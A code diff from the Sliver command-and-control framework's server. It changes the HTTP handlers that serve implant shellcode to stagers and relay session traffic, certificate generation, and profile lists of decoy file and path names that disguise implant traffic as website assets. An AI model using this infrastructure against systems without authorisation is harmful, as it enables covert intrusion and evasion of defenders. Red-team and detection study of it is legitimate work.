}
if req.Method == http.MethodPost {
s.sessionHandler(resp, req, session, c2Config, encoder)
return
} else if req.Method == http.MethodGet {
s.pollHandler(resp, req, session, encoder)
return
} else {
// unsupported http method
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
s.defaultHandler(resp, req)
return
}
}
func (s *SliverHTTPC2) anonymousHandler(resp http.ResponseWriter, req *http.Request) {
// start session and staging requests
encoder, err := getEncoder(req.URL, nil)
if err != nil {
s.stagerHandler(resp, req)
return
} else {
s.startSessionHandler(resp, req, encoder)
return
}
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder) {
httpLog.Debug("Start http session request")
body, err := io.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
@@ -643,11 +615,16 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
resp.Write(respData)
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) {
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplantConn.UpdateLastMessage()
plaintext, err := s.readReqBody(httpSession, resp, req, c2profile, encoder)
plaintext, err := s.readReqBody(httpSession, resp, req)
if err != nil {
httpLog.Warnf("Failed to decode request body: %s", err)
s.defaultHandler(resp, req)
@@ -679,10 +656,18 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
}
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, encoder sliverEncoders.Encoder) {
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Poll request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplantConn.UpdateLastMessage()
// We already know we have a valid nonce because of the middleware filter
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.ImplantConn.Send:
resp.WriteHeader(http.StatusOK)
@@ -706,7 +691,14 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request,
}
}
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) ([]byte, error) {
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
s.defaultHandler(resp, req)
return nil, ErrInvalidEncoder
}
body, err := io.ReadAll(&io.LimitedReader{
R: req.Body,
@@ -745,8 +737,14 @@ func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
return pollTimeout
}
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession) {
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Close request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
s.defaultHandler(resp, req)
return
}
for _, cookie := range req.Cookies() {
cookie.MaxAge = -1
http.SetCookie(resp, cookie)
@@ -757,38 +755,30 @@ func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request,
// stagerHandler - Serves the sliver shellcode to the stager requesting it
func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) {
var (
resourceID *clientpb.ResourceID
err error
)
nonces, err := getNoncesFromURL(req.URL, 0)
if err != nil {
s.defaultHandler(resp, req)
}
for _, nonce := range nonces {
resourceID, err = db.ResourceIDByValue(nonce)
if err == nil {
httpLog.Debug("Stager request")
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
if build.Stage {
payload, err := generate.ImplantFileFromBuild(build)
if err != nil {
httpLog.Infof("Unable to retrieve Implant build %s", build)
s.defaultHandler(resp, req)
return
}
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
s.noCacheHeader(resp)
resp.Write(payload)
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
nonce, _ := getNonceFromURL(req.URL)
httpLog.Debug("Stager request")
if nonce != 0 {
resourceID, err := db.ResourceIDByValue(nonce)
if err != nil {
httpLog.Infof("No profile with id %#v", nonce)
s.defaultHandler(resp, req)
return
}
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
if build.Stage {
payload, err := generate.ImplantFileFromBuild(build)
if err != nil {
httpLog.Infof("Unable to retrieve Implant build %s", build)
s.defaultHandler(resp, req)
return
}
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
s.noCacheHeader(resp)
resp.Write(payload)
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
}
}
s.defaultHandler(resp, req)
}
+2 -13
View File
@@ -34,7 +34,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
"golang.zx2c4.com/wireguard/device"
)
@@ -87,16 +86,6 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
JobCtrl: make(chan bool),
}
listenerJob := &clientpb.ListenerJob{
JobID: uint32(job.ID),
Type: constants.WGStr,
WGConf: wgListener,
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
ticker := time.NewTicker(5 * time.Second)
done := make(chan bool)
@@ -240,7 +229,7 @@ func StartHTTPListenerJob(req *clientpb.HTTPListenerReq) (*core.Job, error) {
}
// StartTCPStagerListenerJob - Start a TCP staging payload listener
func StartTCPStagerListenerJob(host string, port uint16, name string, shellcode []byte) (*core.Job, error) {
func StartTCPStagerListenerJob(host string, port uint16, profileName string, shellcode []byte) (*core.Job, error) {
ln, err := StartTCPListener(host, port, shellcode)
if err != nil {
return nil, err // If we fail to bind don't setup the Job
@@ -252,8 +241,8 @@ func StartTCPStagerListenerJob(host string, port uint16, name string, shellcode
Description: "Raw TCP listener (stager only)",
Protocol: "tcp",
Port: port,
ProfileName: profileName,
JobCtrl: make(chan bool),
ProfileName: name,
}
go func() {
+1 -1
View File
@@ -60,7 +60,7 @@ func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certi
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
certsLog.Infof("Generating certificate authority for '%s'", caType)
cert, key := GenerateECCCertificate(caType, commonName, true, false, false)
cert, key := GenerateECCCertificate(caType, commonName, true, false)
SaveCertificateAuthority(caType, cert, key)
}
cert, key, err := GetCertificateAuthority(caType)
+2 -8
View File
@@ -135,7 +135,7 @@ func RemoveCertificate(caType string, keyType string, commonName string) error {
// GenerateECCCertificate - Generate a TLS certificate with the given parameters
// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc.
// Returns two strings `cert` and `key` (PEM Encoded).
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool, isOperator bool) ([]byte, []byte) {
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
certsLog.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName)
@@ -143,13 +143,7 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
var curves []elliptic.Curve
if isOperator {
curves = []elliptic.Curve{elliptic.P256()}
} else {
curves = []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
}
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
curve := curves[randomInt(len(curves))]
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
if err != nil {
+2 -2
View File
@@ -26,14 +26,14 @@ const (
// MtlsC2ServerGenerateECCCertificate - Generate a server certificate signed with a given CA
func MtlsC2ServerGenerateECCCertificate(host string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false, false)
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false)
err := saveCertificate(MtlsServerCA, ECCKey, host, cert, key)
return cert, key, err
}
// MtlsC2ImplantGenerateECCCertificate - Generate a server certificate signed with a given CA
func MtlsC2ImplantGenerateECCCertificate(name string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true, false)
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true)
err := saveCertificate(MtlsImplantCA, ECCKey, name, cert, key)
return cert, key, err
}
+2 -2
View File
@@ -37,7 +37,7 @@ const (
// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA
func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true, true)
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true)
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key)
return cert, key, err
}
@@ -59,7 +59,7 @@ func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) {
// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA
func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false, true)
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false)
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key)
return cert, key, err
}
-6
View File
@@ -123,12 +123,6 @@ func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
return err
}
j.JobID = uint32(id)
case constants.TCPListenerStr:
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
}
db.UpdateHTTPC2Listener(j)
}
+497 -49
View File
@@ -44,12 +44,22 @@ func CheckHTTPC2ConfigErrors(config *clientpb.HTTPC2Config) error {
var (
ErrMissingCookies = errors.New("server config must specify at least one cookie")
ErrMissingExtensions = errors.New("implant config must specify at least one file extension")
ErrMissingFiles = errors.New("implant config must specify at least one files value")
ErrMissingPaths = errors.New("implant config must specify at least one paths value")
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
ErrTooFewStagerFiles = errors.New("implant config must specify at least one stager_files value")
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
ErrNonUniqueFileExt = errors.New("implant config must specify unique file extensions")
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
ErrDuplicateStageExt = errors.New("stager extension is already used in another C2 profile")
ErrDuplicateStartSessionExt = errors.New("start session extension is already used in another C2 profile")
ErrDuplicateC2ProfileName = errors.New("C2 Profile name is already in use")
ErrMissingC2ProfileName = errors.New("C2 Profile name is required")
ErrC2ProfileNotFound = errors.New("C2 Profile does not exist")
ErrUserAgentIllegalCharacters = errors.New("user agent cannot contain the ` character")
fileNameExp = regexp.MustCompile(`[^a-zA-Z0-9\\._-]+`)
@@ -81,31 +91,44 @@ func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
// min and max used during http c2 config generation
if config.MinFileGen < 1 {
config.MinFileGen = 1
// MinFiles and MaxFiles
if config.MinFiles < 1 {
config.MinFiles = 1
}
if config.MaxFileGen < config.MinFileGen {
config.MaxFileGen = config.MinFileGen
}
if config.MinPathGen < 0 {
config.MinPathGen = 0
}
if config.MaxPathGen < config.MinPathGen {
config.MaxPathGen = config.MinPathGen
if config.MaxFiles < config.MinFiles {
config.MaxFiles = config.MinFiles
}
// Path length used during implant operation
if config.MinPathLength < 1 {
config.MinPathLength = 1
// MinPaths and MaxPaths
if config.MinPaths < 0 {
config.MinPaths = 0
}
if config.MaxPathLength < config.MinPathLength {
config.MaxPathLength = config.MinPathLength
if config.MaxPaths < config.MinPaths {
config.MaxPaths = config.MinPaths
}
// Stager
config.StagerFileExtension = coerceFileExt(config.StagerFileExtension)
if config.StagerFileExtension == "" {
return ErrMissingStagerFileExt
}
// File Extensions
if len(config.Extensions) < 1 {
return ErrMissingExtensions
config.PollFileExtension = coerceFileExt(config.PollFileExtension)
if config.PollFileExtension == "" {
return ErrMissingPollFileExt
}
config.StartSessionFileExtension = coerceFileExt(config.StartSessionFileExtension)
if config.StartSessionFileExtension == "" {
return ErrMissingStartSessionFileExt
}
config.SessionFileExtension = coerceFileExt(config.SessionFileExtension)
if config.SessionFileExtension == "" {
return ErrMissingSessionFileExt
}
config.CloseFileExtension = coerceFileExt(config.CloseFileExtension)
if config.CloseFileExtension == "" {
return ErrMissingCloseFileExt
}
/*
@@ -131,24 +154,22 @@ func GenerateDefaultHTTPC2Config() *clientpb.HTTPC2Config {
pathSegments := GenerateHTTPC2DefaultPathSegment()
implantConfig := clientpb.HTTPC2ImplantConfig{
UserAgent: "",
ChromeBaseVersion: DefaultChromeBaseVer,
MacOSVersion: DefaultMacOSVer,
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
NonceQueryLength: 1,
NonceMode: "UrlParam", // Url or UrlParam
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFileGen: 4,
MinFileGen: 2,
MaxPathGen: 4,
MinPathGen: 2,
MaxPathLength: 4,
MinPathLength: 2,
Extensions: []string{
"js", "", "php",
},
PathSegments: pathSegments,
UserAgent: "",
ChromeBaseVersion: DefaultChromeBaseVer,
MacOSVersion: DefaultMacOSVer,
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: 4,
MinFiles: 2,
MaxPaths: 4,
MinPaths: 2,
StagerFileExtension: "woff",
PollFileExtension: "js",
StartSessionFileExtension: "html",
SessionFileExtension: "php",
CloseFileExtension: "png",
PathSegments: pathSegments,
}
// Server Config
@@ -193,21 +214,73 @@ func GenerateHTTPC2DefaultPathSegment() []*clientpb.HTTPC2PathSegment {
/*
IsFile bool
SegmentType int32 // Poll, Session, Close, stager
Value string
*/
// files
for _, file := range Files {
for _, poll := range PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
Value: file,
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, path := range Paths {
for _, session := range SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
Value: path,
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
@@ -301,7 +374,7 @@ var (
"csrf-state",
"AWSALBCORS",
}
Files = []string{
PollFiles = []string{
"bootstrap",
"bootstrap.min",
"jquery.min",
@@ -412,7 +485,7 @@ var (
"storage",
"offline",
}
Paths = []string{
PollPaths = []string{
"js",
"umd",
"assets",
@@ -480,4 +553,379 @@ var (
"libjs",
"libjsscripts",
}
SessionFiles = []string{
"login",
"signin",
"api",
"samples",
"rpc",
"index",
"admin",
"register",
"sign-up",
"index",
"config",
"functions",
"database",
"header",
"footer",
"login",
"register",
"logout",
"profile",
"dashboard",
"home",
"about",
"contact",
"services",
"utils",
"common",
"init",
"auth",
"session",
"error",
"handler",
"api",
"ajax",
"form",
"validation",
"upload",
"download",
"report",
"admin",
"user",
"account",
"settings",
"utility",
"script",
"mailer",
"cron",
"cache",
"template",
"page",
"model",
"view",
"controller",
"middleware",
"router",
"route",
"helper",
"library",
"plugin",
"widget",
"widgetized",
"search",
"filter",
"sort",
"pagination",
"backup",
"restore",
"upgrade",
"install",
"uninstall",
"upgrade",
"maintenance",
"sitemap",
"rss",
"atom",
"xml",
"json",
"rss",
"log",
"debug",
"test",
"mock",
"stub",
"mockup",
"mockdata",
"temp",
"tmp",
"backup",
"old",
"new",
"demo",
"example",
"sample",
"prototype",
"backup",
"import",
"export",
"sync",
"async",
"validate",
"authenticate",
}
SessionPaths = []string{
"php",
"api",
"upload",
"actions",
"rest",
"v1",
"auth",
"authenticate",
"oauth",
"oauth2",
"oauth2callback",
"database",
"db",
"namespaces",
"home",
"about",
"contact",
"services",
"products",
"blog",
"news",
"events",
"gallery",
"portfolio",
"shop",
"store",
"login",
"register",
"profile",
"dashboard",
"account",
"settings",
"faq",
"help",
"support",
"download",
"upload",
"subscribe",
"unsubscribe",
"search",
"sitemap",
"privacy",
"terms",
"conditions",
"policy",
"cookie",
"checkout",
"cart",
"order",
"payment",
"confirmation",
"feedback",
"survey",
"testimonial",
"newsletter",
"membership",
"forum",
"signin",
"signup",
"forum",
"contact-us",
"pricing",
"donate",
"partners",
"team",
"career",
"join-us",
"downloads",
"events",
"explore",
"insights",
"newsroom",
"press",
"media",
"blog",
"articles",
"research",
"library",
"resources",
"inspiration",
"academy",
"labs",
"developers",
"api",
"integration",
"status",
"changelog",
"roadmap",
"solutions",
"clients",
"testimonials",
"success-stories",
"clients",
"partners",
"404",
"500",
"error",
"maintenance",
"upgrade",
}
CloseFiles = []string{
"image",
"logo",
"icon",
"background",
"banner",
"button",
"avatar",
"photo",
"picture",
"header",
"footer",
"thumbnail",
"screenshot",
"cover",
"badge",
"illustration",
"graphic",
"map",
"diagram",
"chart",
"emoji",
"flag",
"arrow",
"social",
"media",
"document",
"product",
"menu",
"navigation",
"search",
"result",
"loading",
"progress",
"error",
"success",
"warning",
"info",
"question",
"exclamation",
"play",
"pause",
"stop",
"next",
"previous",
"rewind",
"forward",
"volume",
"mute",
"speaker",
"microphone",
"camera",
"video",
"audio",
"file",
"folder",
"download",
"upload",
"share",
"like",
"heart",
"star",
"comment",
"chat",
"speech bubble",
"message",
"envelope",
"mail",
"clock",
"calendar",
"location",
"pin",
"home",
"settings",
"gear",
"tools",
"user",
"profile",
"login",
"logout",
"register",
"lock",
"unlock",
"shield",
"security",
"privacy",
"checkmark",
"cross",
"delete",
"trash",
"restore",
"recycle",
"favorite",
"bookmark",
"star",
"eye",
"magnifier",
"question mark",
"information",
"exclamationmark",
"help",
"favicon",
"sample",
"example",
}
ClosePaths = []string{
"static",
"www",
"assets",
"images",
"icons",
"image",
"icon",
"png",
"images",
"photos",
"pictures",
"pics",
"gallery",
"media",
"uploads",
"assets",
"img",
"graphics",
"visuals",
"media-library",
"artwork",
"design",
"diagrams",
"icons",
"logos",
"banners",
"thumbnails",
"avatars",
"screenshots",
"headers",
"footers",
"backgrounds",
"buttons",
"illustrations",
"diagrams",
"photoshoots",
"picoftheday",
"imagebank",
"album",
"memories",
"memes",
"snapshots",
"portraits",
"posters",
"renders",
"cover-photos",
"wallpapers",
"photography",
"visualizations",
"moodboard",
"infographics",
"renders",
"icons",
"layers",
"picgallery",
"picdump",
"imagelibrary",
}
StagerFiles = []string{
"attribute_text_w01_regular", "ZillaSlab-Regular.subset.bbc33fb47cf6",
"ZillaSlab-Bold.subset.e96c15f68c68", "Inter-Regular",
"Inter-Medium",
}
StagerPaths = []string{
"static", "assets", "fonts", "locales",
}
)
+7 -30
View File
@@ -24,7 +24,6 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/sirupsen/logrus"
)
@@ -125,20 +124,13 @@ type WatchTowerConfig struct {
XForceApiPassword string `json:"xforce_api_password"`
}
// http server defaults for anonymous requests
type HttpDefaultConfig struct {
Headers []models.HttpC2Header `json:"headers"`
}
// ServerConfig - Server config
type ServerConfig struct {
DaemonMode bool `json:"daemon_mode"`
DaemonConfig *DaemonConfig `json:"daemon"`
Logs *LogConfig `json:"logs"`
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
HTTPDefaults *HttpDefaultConfig `json:"http_default"`
DonutBypass int `json:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
DaemonMode bool `json:"daemon_mode"`
DaemonConfig *DaemonConfig `json:"daemon"`
Logs *LogConfig `json:"logs"`
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
// 'GOOS/GOARCH' -> CC path
CC map[string]string `json:"cc"`
@@ -195,10 +187,6 @@ func GetServerConfig() *ServerConfig {
}
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
if config.DonutBypass < 1 || config.DonutBypass > 3 {
config.DonutBypass = 1
}
err := config.Save() // This updates the config with any missing fields
if err != nil {
serverConfigLog.Errorf("Failed to save default config %s", err)
@@ -218,18 +206,7 @@ func getDefaultServerConfig() *ServerConfig {
GRPCUnaryPayloads: false,
GRPCStreamPayloads: false,
},
HTTPDefaults: &HttpDefaultConfig{
Headers: []models.HttpC2Header{
models.HttpC2Header{
Method: "GET",
Name: "Cache-Control",
Value: "no-store, no-cache, must-revalidate",
Probability: 100,
},
},
},
DonutBypass: 3,
CC: map[string]string{},
CXX: map[string]string{},
CC: map[string]string{},
CXX: map[string]string{},
}
}
+1 -1
View File
@@ -212,7 +212,7 @@ func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
Type: "multiplayer",
MultiConf: multiConfig,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
fmt.Printf(Warn+"Failed to save job %v\n", err)
}
+1 -1
View File
@@ -36,7 +36,7 @@ func TestRootOnlyVerifyCertificate(t *testing.T) {
}
// Test with wrong CA
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false, false)
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
block, _ = pem.Decode(wrongCert)
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
if err == nil {
+2 -1
View File
@@ -77,6 +77,7 @@ func serverOnlyCmds() (commands []*cobra.Command) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint16P("lport", "l", 31337, "tcp listen port")
f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
commands = append(commands, startMultiplayer)
@@ -122,7 +123,7 @@ remote machines to connect to the Sliver server. They are most commonly
used for allowing remote operators to connect in "Multiplayer Mode."
To generate a profile for a remote operator, you need to specify the
"all" permission to grant the profile access to all gRPC APIs:
the "all" permission to grant the profile access to all gRPC APIs:
new-operator --name <operator name> --lhost <sliver server> --permissions all
-16
View File
@@ -8,7 +8,6 @@ import (
var (
Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
mutex sync.RWMutex
pending sync.Map
)
// RTunnel - Duplex byte read/write
@@ -96,21 +95,6 @@ func RemoveRTunnel(ID uint64) {
delete(Rtunnels, ID)
}
func AddPending(sessionID string, connStr string) {
pending.Store(sessionID, connStr)
}
func DeletePending(sessionID string) {
pending.Delete(sessionID)
}
func Check(sessionID string, connStr string) bool {
if val, ok := pending.Load(sessionID); ok {
return val == connStr
}
return false
}
// func removeAndCloseAllRTunnels() {
// mutex.Lock()
// defer mutex.Unlock()
+58 -44
View File
@@ -35,6 +35,7 @@ import (
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/db/models"
"github.com/gofrs/uuid"
"gorm.io/gorm"
@@ -306,6 +307,57 @@ func LoadHTTPC2s() ([]*clientpb.HTTPC2Config, error) {
return pbC2Configs, nil
}
// used to prevent duplicate stager extensions
func SearchStageExtensions(stagerExtension string, profileName string) error {
c2Config := models.HttpC2ImplantConfig{}
err := Session().Where(&models.HttpC2ImplantConfig{
StagerFileExtension: stagerExtension,
}).Find(&c2Config).Error
if err != nil {
return err
}
if c2Config.StagerFileExtension != "" && profileName != "" {
// check if the stager extension is used in the provided profile
httpC2Config := models.HttpC2Config{}
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
if err != nil {
return err
}
if httpC2Config.Name == profileName {
return nil
}
return configs.ErrDuplicateStageExt
}
return nil
}
// used to prevent duplicate start session extensions
func SearchStartSessionExtensions(StartSessionFileExt string, profileName string) error {
c2Config := models.HttpC2ImplantConfig{}
err := Session().Where(&models.HttpC2ImplantConfig{
StartSessionFileExtension: StartSessionFileExt,
}).Find(&c2Config).Error
if err != nil {
return err
}
if c2Config.StartSessionFileExtension != "" && profileName != "" {
httpC2Config := models.HttpC2Config{}
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
if err != nil {
return err
}
if httpC2Config.Name == profileName {
return nil
}
return configs.ErrDuplicateStartSessionExt
}
return nil
}
func LoadHTTPC2ConfigByName(name string) (*clientpb.HTTPC2Config, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
@@ -418,20 +470,6 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
return err.Error
}
err = Session().Where(&models.HttpC2Header{
HttpC2ImplantConfigID: &clientID,
}).Delete(&models.HttpC2Header{})
if err.Error != nil {
return err.Error
}
err = Session().Where(&models.HttpC2URLParameter{
HttpC2ImplantConfigID: clientID,
}).Delete(&models.HttpC2URLParameter{})
if err.Error != nil {
return err.Error
}
err = Session().Where(&models.ImplantConfig{
ID: clientID,
}).Updates(c2Config.ImplantConfig)
@@ -449,26 +487,6 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
}
}
for _, header := range c2Config.ImplantConfig.Headers {
header.HttpC2ImplantConfigID = &clientID
err = Session().Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&header)
if err.Error != nil {
return err.Error
}
}
for _, urlParameter := range c2Config.ImplantConfig.ExtraURLParameters {
urlParameter.HttpC2ImplantConfigID = clientID
err = Session().Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&urlParameter)
if err.Error != nil {
return err.Error
}
}
serverID, _ := uuid.FromString(oldConf.ServerConfig.ID)
err = Session().Where(&models.HttpC2Cookie{
@@ -515,7 +533,7 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
return nil
}
func SaveC2Listener(listenerConf *clientpb.ListenerJob) error {
func SaveHTTPC2Listener(listenerConf *clientpb.ListenerJob) error {
dbListener := models.ListenerJobFromProtobuf(listenerConf)
dbSession := Session()
result := dbSession.Clauses(clause.OnConflict{
@@ -916,18 +934,14 @@ func BeaconTasksByBeaconID(beaconID string) ([]*clientpb.BeaconTask, error) {
return nil, ErrRecordNotFound
}
beaconTasks := []*models.BeaconTask{}
/*
Even though we are fetching the request/response columns here, we will not send
them back in the response
If we SELECT those columns out, that will bypass GORM's reflection-based field
to column mapping and can cause GORM not to map the created_at field correctly
*/
err := Session().Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
err := Session().Select([]string{
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
"Description",
}).Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
pbBeaconTasks := []*clientpb.BeaconTask{}
for _, beaconTask := range beaconTasks {
// Do not preserve the request and response columns
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(false))
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(true))
}
return pbBeaconTasks, err
}
+120 -81
View File
@@ -20,7 +20,6 @@ package models
import (
"fmt"
"strings"
"time"
insecureRand "math/rand"
@@ -67,6 +66,20 @@ func (h *HttpC2Config) ToProtobuf() *clientpb.HTTPC2Config {
}
}
func (h *HttpC2Config) GenerateImplantHTTPC2Config() *clientpb.HTTPC2ImplantConfig {
